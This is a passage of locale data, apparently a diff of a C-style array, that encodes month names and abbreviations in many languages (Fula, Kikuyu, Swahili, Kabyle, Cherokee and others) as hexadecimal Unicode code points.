0x73, 0x65, 0x65, 0x3b, 0x64, 0x75, 0x75, 0x3b, 0x6b, 0x6f, 0x72, 0x3b, 0x6d, 0x6f, 0x72, 0x3b, 0x6a, 0x75, 0x6b, +0x3b, 0x73, 0x6c, 0x74, 0x3b, 0x79, 0x61, 0x72, 0x3b, 0x6a, 0x6f, 0x6c, 0x3b, 0x62, 0x6f, 0x77, 0x3b, 0x73, 0x69, 0x69, +0x6c, 0x6f, 0x3b, 0x63, 0x6f, 0x6c, 0x74, 0x65, 0x3b, 0x6d, 0x62, 0x6f, 0x6f, 0x79, 0x3b, 0x73, 0x65, 0x65, 0x257, 0x74, +0x6f, 0x3b, 0x64, 0x75, 0x75, 0x6a, 0x61, 0x6c, 0x3b, 0x6b, 0x6f, 0x72, 0x73, 0x65, 0x3b, 0x6d, 0x6f, 0x72, 0x73, 0x6f, +0x3b, 0x6a, 0x75, 0x6b, 0x6f, 0x3b, 0x73, 0x69, 0x69, 0x6c, 0x74, 0x6f, 0x3b, 0x79, 0x61, 0x72, 0x6b, 0x6f, 0x6d, 0x61, +0x61, 0x3b, 0x6a, 0x6f, 0x6c, 0x61, 0x6c, 0x3b, 0x62, 0x6f, 0x77, 0x74, 0x65, 0x3b, 0x73, 0x3b, 0x63, 0x3b, 0x6d, 0x3b, +0x73, 0x3b, 0x64, 0x3b, 0x6b, 0x3b, 0x6d, 0x3b, 0x6a, 0x3b, 0x73, 0x3b, 0x79, 0x3b, 0x6a, 0x3b, 0x62, 0x3b, 0x4a, 0x45, +0x4e, 0x3b, 0x57, 0x4b, 0x52, 0x3b, 0x57, 0x47, 0x54, 0x3b, 0x57, 0x4b, 0x4e, 0x3b, 0x57, 0x54, 0x4e, 0x3b, 0x57, 0x54, +0x44, 0x3b, 0x57, 0x4d, 0x4a, 0x3b, 0x57, 0x4e, 0x4e, 0x3b, 0x57, 0x4b, 0x44, 0x3b, 0x57, 0x49, 0x4b, 0x3b, 0x57, 0x4d, +0x57, 0x3b, 0x44, 0x49, 0x54, 0x3b, 0x4e, 0x6a, 0x65, 0x6e, 0x75, 0x61, 0x72, 0x129, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x65, +0x20, 0x77, 0x61, 0x20, 0x6b, 0x65, 0x72, 0x129, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x65, 0x20, 0x77, 0x61, 0x20, 0x67, 0x61, +0x74, 0x61, 0x74, 0x169, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x65, 0x20, 0x77, 0x61, 0x20, 0x6b, 0x61, 0x6e, 0x61, 0x3b, 0x4d, +0x77, 0x65, 0x72, 0x65, 0x20, 0x77, 0x61, 0x20, 0x67, 0x61, 0x74, 0x61, 0x6e, 0x6f, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x65, +0x20, 0x77, 0x61, 0x20, 0x67, 0x61, 0x74, 0x61, 0x6e, 0x64, 0x61, 0x74, 0x169, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x65, 0x20, +0x77, 0x61, 0x20, 0x6d, 0x169, 0x67, 0x77, 0x61, 0x6e, 0x6a, 0x61, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x65, 0x20, 0x77, 0x61, +0x20, 0x6b, 0x61, 0x6e, 0x61, 0x6e, 0x61, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x65, 0x20, 0x77, 0x61, 0x20, 0x6b, 0x65, 0x6e, +0x64, 0x61, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x65, 0x20, 0x77, 0x61, 0x20, 0x69, 0x6b, 0x169, 0x6d, 0x69, 0x3b, 0x4d, 0x77, +0x65, 0x72, 0x65, 0x20, 0x77, 0x61, 0x20, 0x69, 0x6b, 0x169, 0x6d, 0x69, 0x20, 0x6e, 0x61, 0x20, 0x169, 0x6d, 0x77, 0x65, +0x3b, 0x4e, 0x64, 0x69, 0x74, 0x68, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x4a, 0x3b, 0x4b, 0x3b, 0x47, 0x3b, 0x4b, 0x3b, 0x47, +0x3b, 0x47, 0x3b, 0x4d, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x49, 0x3b, 0x49, 0x3b, 0x44, 0x3b, 0x4f, 0x62, 0x6f, 0x3b, 0x57, +0x61, 0x61, 0x3b, 0x4f, 0x6b, 0x75, 0x3b, 0x4f, 0x6e, 0x67, 0x3b, 0x49, 0x6d, 0x65, 0x3b, 0x49, 0x6c, 0x65, 0x3b, 0x53, +0x61, 0x70, 0x3b, 0x49, 0x73, 0x69, 0x3b, 0x53, 0x61, 0x61, 0x3b, 0x54, 0x6f, 0x6d, 0x3b, 0x54, 0x6f, 0x62, 0x3b, 0x54, +0x6f, 0x77, 0x3b, 0x4c, 0x61, 0x70, 0x61, 0x20, 0x6c, 0x65, 0x20, 0x6f, 0x62, 0x6f, 0x3b, 0x4c, 0x61, 0x70, 0x61, 0x20, +0x6c, 0x65, 0x20, 0x77, 0x61, 0x61, 0x72, 0x65, 0x3b, 0x4c, 0x61, 0x70, 0x61, 0x20, 0x6c, 0x65, 0x20, 0x6f, 0x6b, 0x75, +0x6e, 0x69, 0x3b, 0x4c, 0x61, 0x70, 0x61, 0x20, 0x6c, 0x65, 0x20, 0x6f, 0x6e, 0x67, 0x27, 0x77, 0x61, 0x6e, 0x3b, 0x4c, +0x61, 0x70, 0x61, 0x20, 0x6c, 0x65, 0x20, 0x69, 0x6d, 0x65, 0x74, 0x3b, 0x4c, 0x61, 0x70, 0x61, 0x20, 0x6c, 0x65, 0x20, +0x69, 0x6c, 0x65, 0x3b, 0x4c, 0x61, 0x70, 0x61, 0x20, 0x6c, 0x65, 0x20, 0x73, 0x61, 0x70, 0x61, 0x3b, 0x4c, 0x61, 0x70, +0x61, 0x20, 0x6c, 0x65, 0x20, 0x69, 0x73, 0x69, 0x65, 0x74, 0x3b, 0x4c, 0x61, 0x70, 0x61, 0x20, 0x6c, 0x65, 0x20, 0x73, +0x61, 0x61, 0x6c, 0x3b, 0x4c, 0x61, 0x70, 0x61, 0x20, 0x6c, 0x65, 0x20, 0x74, 0x6f, 0x6d, 0x6f, 0x6e, 0x3b, 0x4c, 0x61, +0x70, 0x61, 0x20, 0x6c, 0x65, 0x20, 0x74, 0x6f, 0x6d, 0x6f, 0x6e, 0x20, 0x6f, 0x62, 0x6f, 0x3b, 0x4c, 0x61, 0x70, 0x61, +0x20, 0x6c, 0x65, 0x20, 0x74, 0x6f, 0x6d, 0x6f, 0x6e, 0x20, 0x77, 0x61, 0x61, 0x72, 0x65, 0x3b, 0x4f, 0x3b, 0x57, 0x3b, +0x4f, 0x3b, 0x4f, 0x3b, 0x49, 0x3b, 0x49, 0x3b, 0x53, 0x3b, 0x49, 0x3b, 0x53, 0x3b, 0x54, 0x3b, 0x54, 0x3b, 0x54, 0x3b, +0x4a, 0x61, 0x6e, 0x3b, 0x46, 0x65, 0x76, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x41, 0x62, 0x72, 0x3b, 0x4d, 0x61, 0x69, 0x3b, +0x4a, 0x75, 0x6e, 0x3b, 0x4a, 0x75, 0x6c, 0x3b, 0x41, 0x75, 0x67, 0x3b, 0x53, 0x65, 0x74, 0x3b, 0x4f, 0x74, 0x75, 0x3b, +0x4e, 0x6f, 0x76, 0x3b, 0x44, 0x65, 0x63, 0x3b, 0x4a, 0x61, 0x6e, 0x65, 0x69, 0x72, 0x6f, 0x3b, 0x46, 0x65, 0x76, 0x72, +0x65, 0x69, 0x72, 0x6f, 0x3b, 0x4d, 0x61, 0x72, 0x63, 0x6f, 0x3b, 0x41, 0x62, 0x72, 0x69, 0x6c, 0x3b, 0x4d, 0x61, 0x69, +0x6f, 0x3b, 0x4a, 0x75, 0x6e, 0x68, 0x6f, 0x3b, 0x4a, 0x75, 0x6c, 0x68, 0x6f, 0x3b, 0x41, 0x75, 0x67, 0x75, 0x73, 0x74, +0x6f, 0x3b, 0x53, 0x65, 0x74, 0x65, 0x6d, 0x62, 0x72, 0x6f, 0x3b, 0x4f, 0x74, 0x75, 0x62, 0x72, 0x6f, 0x3b, 0x4e, 0x6f, +0x76, 0x65, 0x6d, 0x62, 0x72, 0x6f, 0x3b, 0x44, 0x65, 0x63, 0x65, 0x6d, 0x62, 0x72, 0x6f, 0x3b, 0x5a, 0x69, 0x62, 0x3b, +0x4e, 0x68, 0x6c, 0x3b, 0x4d, 0x62, 0x69, 0x3b, 0x4d, 0x61, 0x62, 0x3b, 0x4e, 0x6b, 0x77, 0x3b, 0x4e, 0x68, 0x6c, 0x3b, +0x4e, 0x74, 0x75, 0x3b, 0x4e, 0x63, 0x77, 0x3b, 0x4d, 0x70, 0x61, 0x3b, 0x4d, 0x66, 0x75, 0x3b, 0x4c, 0x77, 0x65, 0x3b, +0x4d, 0x70, 0x61, 0x3b, 0x5a, 0x69, 0x62, 0x61, 0x6e, 0x64, 0x6c, 0x65, 0x6c, 0x61, 0x3b, 0x4e, 0x68, 0x6c, 0x6f, 0x6c, +0x61, 0x6e, 0x6a, 0x61, 0x3b, 0x4d, 0x62, 0x69, 0x6d, 0x62, 0x69, 0x74, 0x68, 0x6f, 0x3b, 0x4d, 0x61, 0x62, 0x61, 0x73, +0x61, 0x3b, 0x4e, 0x6b, 0x77, 0x65, 0x6e, 0x6b, 0x77, 0x65, 0x7a, 0x69, 0x3b, 0x4e, 0x68, 0x6c, 0x61, 0x6e, 0x67, 0x75, +0x6c, 0x61, 0x3b, 0x4e, 0x74, 0x75, 0x6c, 0x69, 0x6b, 0x61, 0x7a, 0x69, 0x3b, 0x4e, 0x63, 0x77, 0x61, 0x62, 0x61, 0x6b, +0x61, 0x7a, 0x69, 0x3b, 0x4d, 0x70, 0x61, 0x6e, 0x64, 0x75, 0x6c, 0x61, 0x3b, 0x4d, 0x66, 0x75, 0x6d, 0x66, 0x75, 0x3b, +0x4c, 0x77, 0x65, 0x7a, 0x69, 0x3b, 0x4d, 0x70, 0x61, 0x6c, 0x61, 0x6b, 0x61, 0x7a, 0x69, 0x3b, 0x5a, 0x3b, 0x4e, 0x3b, +0x4d, 0x3b, 0x4d, 0x3b, 0x4e, 0x3b, 0x4e, 0x3b, 0x4e, 0x3b, 0x4e, 0x3b, 0x4d, 0x3b, 0x4d, 0x3b, 0x4c, 0x3b, 0x4d, 0x3b, +0x4d, 0x31, 0x3b, 0x4d, 0x32, 0x3b, 0x4d, 0x33, 0x3b, 0x4d, 0x34, 0x3b, 0x4d, 0x35, 0x3b, 0x4d, 0x36, 0x3b, 0x4d, 0x37, +0x3b, 0x4d, 0x38, 0x3b, 0x4d, 0x39, 0x3b, 0x4d, 0x31, 0x30, 0x3b, 0x4d, 0x31, 0x31, 0x3b, 0x4d, 0x31, 0x32, 0x3b, 0x4d, +0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6b, 0x77, 0x61, 0x6e, 0x7a, 0x61, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, +0x20, 0x77, 0x61, 0x20, 0x6b, 0x61, 0x69, 0x6c, 0x69, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6b, +0x61, 0x74, 0x61, 0x74, 0x75, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6b, 0x61, 0x61, 0x6e, 0x61, +0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x74, 0x61, 0x6e, 0x75, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, +0x20, 0x77, 0x61, 0x20, 0x73, 0x69, 0x74, 0x61, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x73, 0x61, +0x62, 0x61, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6e, 0x61, 0x6e, 0x65, 0x3b, 0x4d, 0x77, 0x65, +0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x74, 0x69, 0x73, 0x61, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, +0x69, 0x6b, 0x75, 0x6d, 0x69, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x69, 0x6b, 0x75, 0x6d, 0x69, +0x20, 0x6e, 0x61, 0x20, 0x6d, 0x6f, 0x6a, 0x61, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x69, 0x6b, +0x75, 0x6d, 0x69, 0x20, 0x6e, 0x61, 0x20, 0x6d, 0x62, 0x69, 0x6c, 0x69, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x4b, +0x3b, 0x54, 0x3b, 0x53, 0x3b, 0x53, 0x3b, 0x4e, 0x3b, 0x54, 0x3b, 0x49, 0x3b, 0x49, 0x3b, 0x49, 0x3b, 0x69, 0x6e, 0x6e, +0x3b, 0x62, 0x1e5b, 0x61, 0x3b, 0x6d, 0x61, 0x1e5b, 0x3b, 0x69, 0x62, 0x72, 0x3b, 0x6d, 0x61, 0x79, 0x3b, 0x79, 0x75, 0x6e, +0x3b, 0x79, 0x75, 0x6c, 0x3b, 0x263, 0x75, 0x63, 0x3b, 0x63, 0x75, 0x74, 0x3b, 0x6b, 0x74, 0x75, 0x3b, 0x6e, 0x75, 0x77, +0x3b, 0x64, 0x75, 0x6a, 0x3b, 0x69, 0x6e, 0x6e, 0x61, 0x79, 0x72, 0x3b, 0x62, 0x1e5b, 0x61, 0x79, 0x1e5b, 0x3b, 0x6d, 0x61, +0x1e5b, 0x1e63, 0x3b, 0x69, 0x62, 0x72, 0x69, 0x72, 0x3b, 0x6d, 0x61, 0x79, 0x79, 0x75, 0x3b, 0x79, 0x75, 0x6e, 0x79, 0x75, +0x3b, 0x79, 0x75, 0x6c, 0x79, 0x75, 0x7a, 0x3b, 0x263, 0x75, 0x63, 0x74, 0x3b, 0x63, 0x75, 0x74, 0x61, 0x6e, 0x62, 0x69, +0x72, 0x3b, 0x6b, 0x74, 0x75, 0x62, 0x72, 0x3b, 0x6e, 0x75, 0x77, 0x61, 0x6e, 0x62, 0x69, 0x72, 0x3b, 0x64, 0x75, 0x6a, +0x61, 0x6e, 0x62, 0x69, 0x72, 0x3b, 0x69, 0x3b, 0x62, 0x3b, 0x6d, 0x3b, 0x69, 0x3b, 0x6d, 0x3b, 0x79, 0x3b, 0x79, 0x3b, +0x263, 0x3b, 0x63, 0x3b, 0x6b, 0x3b, 0x6e, 0x3b, 0x64, 0x3b, 0x59, 0x65, 0x6e, 0x3b, 0x46, 0x75, 0x72, 0x3b, 0x4d, 0x65, +0x263, 0x3b, 0x59, 0x65, 0x62, 0x3b, 0x4d, 0x61, 0x79, 0x3b, 0x59, 0x75, 0x6e, 0x3b, 0x59, 0x75, 0x6c, 0x3b, 0x194, 0x75, +0x63, 0x3b, 0x43, 0x74, 0x65, 0x3b, 0x54, 0x75, 0x62, 0x3b, 0x4e, 0x75, 0x6e, 0x3b, 0x44, 0x75, 0x1e7, 0x3b, 0x59, 0x65, +0x6e, 0x6e, 0x61, 0x79, 0x65, 0x72, 0x3b, 0x46, 0x75, 0x1e5b, 0x61, 0x72, 0x3b, 0x4d, 0x65, 0x263, 0x72, 0x65, 0x73, 0x3b, +0x59, 0x65, 0x62, 0x72, 0x69, 0x72, 0x3b, 0x4d, 0x61, 0x79, 0x79, 0x75, 0x3b, 0x59, 0x75, 0x6e, 0x79, 0x75, 0x3b, 0x59, +0x75, 0x6c, 0x79, 0x75, 0x3b, 0x194, 0x75, 0x63, 0x74, 0x3b, 0x43, 0x74, 0x65, 0x6d, 0x62, 0x65, 0x1e5b, 0x3b, 0x54, 0x75, +0x62, 0x65, 0x1e5b, 0x3b, 0x4e, 0x75, 0x6e, 0x65, 0x6d, 0x62, 0x65, 0x1e5b, 0x3b, 0x44, 0x75, 0x1e7, 0x65, 0x6d, 0x62, 0x65, +0x1e5b, 0x3b, 0x59, 0x3b, 0x46, 0x3b, 0x4d, 0x3b, 0x59, 0x3b, 0x4d, 0x3b, 0x59, 0x3b, 0x59, 0x3b, 0x194, 0x3b, 0x43, 0x3b, +0x54, 0x3b, 0x4e, 0x3b, 0x44, 0x3b, 0x4b, 0x42, 0x5a, 0x3b, 0x4b, 0x42, 0x52, 0x3b, 0x4b, 0x53, 0x54, 0x3b, 0x4b, 0x4b, +0x4e, 0x3b, 0x4b, 0x54, 0x4e, 0x3b, 0x4b, 0x4d, 0x4b, 0x3b, 0x4b, 0x4d, 0x53, 0x3b, 0x4b, 0x4d, 0x4e, 0x3b, 0x4b, 0x4d, +0x4e, 0x3b, 0x4b, 0x4b, 0x4d, 0x3b, 0x4b, 0x4e, 0x4b, 0x3b, 0x4b, 0x4e, 0x42, 0x3b, 0x4f, 0x6b, 0x77, 0x6f, 0x6b, 0x75, +0x62, 0x61, 0x6e, 0x7a, 0x61, 0x3b, 0x4f, 0x6b, 0x77, 0x61, 0x6b, 0x61, 0x62, 0x69, 0x72, 0x69, 0x3b, 0x4f, 0x6b, 0x77, +0x61, 0x6b, 0x61, 0x73, 0x68, 0x61, 0x74, 0x75, 0x3b, 0x4f, 0x6b, 0x77, 0x61, 0x6b, 0x61, 0x6e, 0x61, 0x3b, 0x4f, 0x6b, +0x77, 0x61, 0x6b, 0x61, 0x74, 0x61, 0x61, 0x6e, 0x61, 0x3b, 0x4f, 0x6b, 0x77, 0x61, 0x6d, 0x75, 0x6b, 0x61, 0x61, 0x67, +0x61, 0x3b, 0x4f, 0x6b, 0x77, 0x61, 0x6d, 0x75, 0x73, 0x68, 0x61, 0x6e, 0x6a, 0x75, 0x3b, 0x4f, 0x6b, 0x77, 0x61, 0x6d, +0x75, 0x6e, 0x61, 0x61, 0x6e, 0x61, 0x3b, 0x4f, 0x6b, 0x77, 0x61, 0x6d, 0x77, 0x65, 0x6e, 0x64, 0x61, 0x3b, 0x4f, 0x6b, +0x77, 0x61, 0x69, 0x6b, 0x75, 0x6d, 0x69, 0x3b, 0x4f, 0x6b, 0x77, 0x61, 0x69, 0x6b, 0x75, 0x6d, 0x69, 0x20, 0x6e, 0x61, +0x20, 0x6b, 0x75, 0x6d, 0x77, 0x65, 0x3b, 0x4f, 0x6b, 0x77, 0x61, 0x69, 0x6b, 0x75, 0x6d, 0x69, 0x20, 0x6e, 0x61, 0x20, +0x69, 0x62, 0x69, 0x72, 0x69, 0x3b, 0x48, 0x75, 0x74, 0x3b, 0x56, 0x69, 0x6c, 0x3b, 0x44, 0x61, 0x74, 0x3b, 0x54, 0x61, +0x69, 0x3b, 0x48, 0x61, 0x6e, 0x3b, 0x53, 0x69, 0x74, 0x3b, 0x53, 0x61, 0x62, 0x3b, 0x4e, 0x61, 0x6e, 0x3b, 0x54, 0x69, +0x73, 0x3b, 0x4b, 0x75, 0x6d, 0x3b, 0x4b, 0x6d, 0x6a, 0x3b, 0x4b, 0x6d, 0x62, 0x3b, 0x70, 0x61, 0x20, 0x6d, 0x77, 0x65, +0x64, 0x7a, 0x69, 0x20, 0x67, 0x77, 0x61, 0x20, 0x68, 0x75, 0x74, 0x61, 0x6c, 0x61, 0x3b, 0x70, 0x61, 0x20, 0x6d, 0x77, +0x65, 0x64, 0x7a, 0x69, 0x20, 0x67, 0x77, 0x61, 0x20, 0x77, 0x75, 0x76, 0x69, 0x6c, 0x69, 0x3b, 0x70, 0x61, 0x20, 0x6d, +0x77, 0x65, 0x64, 0x7a, 0x69, 0x20, 0x67, 0x77, 0x61, 0x20, 0x77, 0x75, 0x64, 0x61, 0x74, 0x75, 0x3b, 0x70, 0x61, 0x20, +0x6d, 0x77, 0x65, 0x64, 0x7a, 0x69, 0x20, 0x67, 0x77, 0x61, 0x20, 0x77, 0x75, 0x74, 0x61, 0x69, 0x3b, 0x70, 0x61, 0x20, +0x6d, 0x77, 0x65, 0x64, 0x7a, 0x69, 0x20, 0x67, 0x77, 0x61, 0x20, 0x77, 0x75, 0x68, 0x61, 0x6e, 0x75, 0x3b, 0x70, 0x61, +0x20, 0x6d, 0x77, 0x65, 0x64, 0x7a, 0x69, 0x20, 0x67, 0x77, 0x61, 0x20, 0x73, 0x69, 0x74, 0x61, 0x3b, 0x70, 0x61, 0x20, +0x6d, 0x77, 0x65, 0x64, 0x7a, 0x69, 0x20, 0x67, 0x77, 0x61, 0x20, 0x73, 0x61, 0x62, 0x61, 0x3b, 0x70, 0x61, 0x20, 0x6d, +0x77, 0x65, 0x64, 0x7a, 0x69, 0x20, 0x67, 0x77, 0x61, 0x20, 0x6e, 0x61, 0x6e, 0x65, 0x3b, 0x70, 0x61, 0x20, 0x6d, 0x77, +0x65, 0x64, 0x7a, 0x69, 0x20, 0x67, 0x77, 0x61, 0x20, 0x74, 0x69, 0x73, 0x61, 0x3b, 0x70, 0x61, 0x20, 0x6d, 0x77, 0x65, +0x64, 0x7a, 0x69, 0x20, 0x67, 0x77, 0x61, 0x20, 0x6b, 0x75, 0x6d, 0x69, 0x3b, 0x70, 0x61, 0x20, 0x6d, 0x77, 0x65, 0x64, +0x7a, 0x69, 0x20, 0x67, 0x77, 0x61, 0x20, 0x6b, 0x75, 0x6d, 0x69, 0x20, 0x6e, 0x61, 0x20, 0x6d, 0x6f, 0x6a, 0x61, 0x3b, +0x70, 0x61, 0x20, 0x6d, 0x77, 0x65, 0x64, 0x7a, 0x69, 0x20, 0x67, 0x77, 0x61, 0x20, 0x6b, 0x75, 0x6d, 0x69, 0x20, 0x6e, +0x61, 0x20, 0x6d, 0x62, 0x69, 0x6c, 0x69, 0x3b, 0x48, 0x3b, 0x56, 0x3b, 0x44, 0x3b, 0x54, 0x3b, 0x48, 0x3b, 0x53, 0x3b, +0x53, 0x3b, 0x4e, 0x3b, 0x54, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x4a, 0x61, 0x6e, 0x75, 0x61, 0x72, 0x69, 0x3b, +0x46, 0x65, 0x62, 0x72, 0x75, 0x61, 0x72, 0x69, 0x3b, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x3b, 0x41, 0x70, 0x72, 0x69, 0x6c, +0x79, 0x69, 0x3b, 0x4d, 0x65, 0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x79, 0x69, 0x3b, 0x4a, 0x75, 0x6c, 0x79, 0x61, 0x69, 0x3b, +0x41, 0x67, 0x75, 0x73, 0x74, 0x69, 0x3b, 0x53, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x4f, 0x6b, 0x74, 0x6f, +0x62, 0x61, 0x3b, 0x4e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x44, 0x65, 0x73, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x7a, +0x61, 0x6e, 0x3b, 0x66, 0x65, 0x62, 0x3b, 0x6e, 0x61, 0x72, 0x3b, 0x61, 0x77, 0x69, 0x3b, 0x6d, 0x25b, 0x3b, 0x7a, 0x75, +0x77, 0x3b, 0x7a, 0x75, 0x6c, 0x3b, 0x75, 0x74, 0x69, 0x3b, 0x73, 0x25b, 0x74, 0x3b, 0x254, 0x6b, 0x75, 0x3b, 0x6e, 0x6f, +0x77, 0x3b, 0x64, 0x65, 0x73, 0x3b, 0x7a, 0x61, 0x6e, 0x77, 0x75, 0x79, 0x65, 0x3b, 0x66, 0x65, 0x62, 0x75, 0x72, 0x75, +0x79, 0x65, 0x3b, 0x6d, 0x61, 0x72, 0x69, 0x73, 0x69, 0x3b, 0x61, 0x77, 0x69, 0x72, 0x69, 0x6c, 0x69, 0x3b, 0x6d, 0x25b, +0x3b, 0x7a, 0x75, 0x77, 0x25b, 0x6e, 0x3b, 0x7a, 0x75, 0x6c, 0x75, 0x79, 0x65, 0x3b, 0x75, 0x74, 0x69, 0x3b, 0x73, 0x25b, +0x74, 0x61, 0x6e, 0x62, 0x75, 0x72, 0x75, 0x3b, 0x254, 0x6b, 0x75, 0x74, 0x254, 0x62, 0x75, 0x72, 0x75, 0x3b, 0x6e, 0x6f, +0x77, 0x61, 0x6e, 0x62, 0x75, 0x72, 0x75, 0x3b, 0x64, 0x65, 0x73, 0x61, 0x6e, 0x62, 0x75, 0x72, 0x75, 0x3b, 0x5a, 0x3b, +0x46, 0x3b, 0x4d, 0x3b, 0x41, 0x3b, 0x4d, 0x3b, 0x5a, 0x3b, 0x5a, 0x3b, 0x55, 0x3b, 0x53, 0x3b, 0x186, 0x3b, 0x4e, 0x3b, +0x44, 0x3b, 0x4d, 0x62, 0x65, 0x3b, 0x4b, 0x61, 0x69, 0x3b, 0x4b, 0x61, 0x74, 0x3b, 0x4b, 0x61, 0x6e, 0x3b, 0x47, 0x61, +0x74, 0x3b, 0x47, 0x61, 0x6e, 0x3b, 0x4d, 0x75, 0x67, 0x3b, 0x4b, 0x6e, 0x6e, 0x3b, 0x4b, 0x65, 0x6e, 0x3b, 0x49, 0x6b, +0x75, 0x3b, 0x49, 0x6d, 0x77, 0x3b, 0x49, 0x67, 0x69, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6d, +0x62, 0x65, 0x72, 0x65, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6b, 0x61, 0x129, 0x72, 0x69, 0x3b, +0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6b, 0x61, 0x74, 0x68, 0x61, 0x74, 0x169, 0x3b, 0x4d, 0x77, 0x65, +0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6b, 0x61, 0x6e, 0x61, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, +0x67, 0x61, 0x74, 0x61, 0x6e, 0x6f, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x67, 0x61, 0x74, 0x61, +0x6e, 0x74, 0x61, 0x74, 0x169, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6d, 0x169, 0x67, 0x77, 0x61, +0x6e, 0x6a, 0x61, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6b, 0x61, 0x6e, 0x61, 0x6e, 0x61, 0x3b, +0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x6b, 0x65, 0x6e, 0x64, 0x61, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, +0x20, 0x77, 0x61, 0x20, 0x69, 0x6b, 0x169, 0x6d, 0x69, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, 0x61, 0x20, 0x69, +0x6b, 0x169, 0x6d, 0x69, 0x20, 0x6e, 0x61, 0x20, 0x169, 0x6d, 0x77, 0x65, 0x3b, 0x4d, 0x77, 0x65, 0x72, 0x69, 0x20, 0x77, +0x61, 0x20, 0x69, 0x6b, 0x169, 0x6d, 0x69, 0x20, 0x6e, 0x61, 0x20, 0x4b, 0x61, 0x129, 0x72, 0x129, 0x3b, 0x4d, 0x3b, 0x4b, +0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x47, 0x3b, 0x47, 0x3b, 0x4d, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x49, 0x3b, 0x49, 0x3b, 0x49, +0x3b, 0x13a4, 0x13c3, 0x3b, 0x13a7, 0x13a6, 0x3b, 0x13a0, 0x13c5, 0x3b, 0x13a7, 0x13ec, 0x3b, 0x13a0, 0x13c2, 0x3b, 0x13d5, 0x13ad, 0x3b, 0x13ab, +0x13f0, 0x3b, 0x13a6, 0x13b6, 0x3b, 0x13da, 0x13b5, 0x3b, 0x13da, 0x13c2, 0x3b, 0x13c5, 0x13d3, 0x3b, 0x13a4, 0x13cd, 0x3b, 0x13a4, 0x13c3, 0x13b8, +0x13d4, 0x13c5, 0x3b, 0x13a7, 0x13a6, 0x13b5, 0x3b, 0x13a0, 0x13c5, 0x13f1, 0x3b, 0x13a7, 0x13ec, 0x13c2, 0x3b, 0x13a0, 0x13c2, 0x13cd, 0x13ac, 0x13d8, +0x3b, 0x13d5, 0x13ad, 0x13b7, 0x13f1, 0x3b, 0x13ab, 0x13f0, 0x13c9, 0x13c2, 0x3b, 0x13a6, 0x13b6, 0x13c2, 0x3b, 0x13da, 0x13b5, 0x13cd, 0x13d7, 0x3b, +0x13da, 0x13c2, 0x13c5, 0x13d7, 0x3b, 0x13c5, 0x13d3, 0x13d5, 0x13c6, 0x3b, 0x13a4, 0x13cd, 0x13a9, 0x13f1, 0x3b, 0x13a4, 0x3b, 0x13a7, 0x3b, 0x13a0, +0x3b, 0x13a7, 0x3b, 0x13a0, 0x3b, 0x13d5, 0x3b, 0x13ab, 0x3b, 0x13a6, 0x3b, 0x13da, 0x3b, 0x13da, 0x3b, 0x13c5, 0x3b, 0x13a4, 0x3b, 0x7a, +0x61, 0x6e, 0x3b, 0x66, 0x65, 0x76, 0x3b, 0x6d, 0x61, 0x72, 0x3b, 0x61, 0x76, 0x72, 0x3b, 0x6d, 0x65, 0x3b, 0x7a, 0x69, +0x6e, 0x3b, 0x7a, 0x69, 0x6c, 0x3b, 0x6f, 0x75, 0x74, 0x3b, 0x73, 0x65, 0x70, 0x3b, 0x6f, 0x6b, 0x74, 0x3b, 0x6e, 0x6f, +0x76, 0x3b, 0x64, 